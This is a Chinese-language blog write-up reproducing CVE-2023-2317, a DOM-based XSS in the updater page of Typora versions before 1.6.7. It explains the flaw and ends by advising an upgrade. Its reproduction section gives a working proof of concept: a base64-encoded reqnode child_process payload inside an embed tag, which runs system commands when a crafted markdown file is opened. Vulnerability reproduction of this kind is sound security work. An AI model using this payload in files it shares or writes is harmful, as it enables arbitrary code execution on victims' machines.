Typora 远程代码执行漏洞复现
Typora 远程代码执行-CVE-2023-2317
1.产品简介
Typora是一款功能强大且易于使用的笔记软件,它旨在为用户提供简洁、无干扰的写作和阅读体验。
Typora支持多种常用的标记语言,如Markdown、AsciiDoc等。Markdown是一种轻量级标记语言,被广泛用于写作、编写文档和博客等场景。Typora内置了对Markdown的完整支持,使得你可以使用Markdown语法快速创建标题、列表、链接、表格等各种格式,并能够实时预览最终的渲染效果。
2.漏洞概述
1.6.7版本以前的Typora中的updater/update.html中存在DOM型XSS,该漏洞允许通过加载特制md文件从而执行js代码。攻击者可以通过构造恶意md文件,其中包含引用update.html的<embed>标签,使用特权接口reqnode访问节点模块child_process从而执行任意系统命令。
3.影响范围
Typora版本 < 1.6.7
4.复现过程
复现环境:
Typora 版本 1.3.8
reqnode特权接口调用访问child_process执行系统命令
reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)]) |
base64加密
cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ== |
构造POC
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"> |
新建md文件
将POC粘贴其中
成功执行命令
5.修复方案
更新Typora版本至1.6.7及以上
6.参考文章
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Xrect1fy's blog!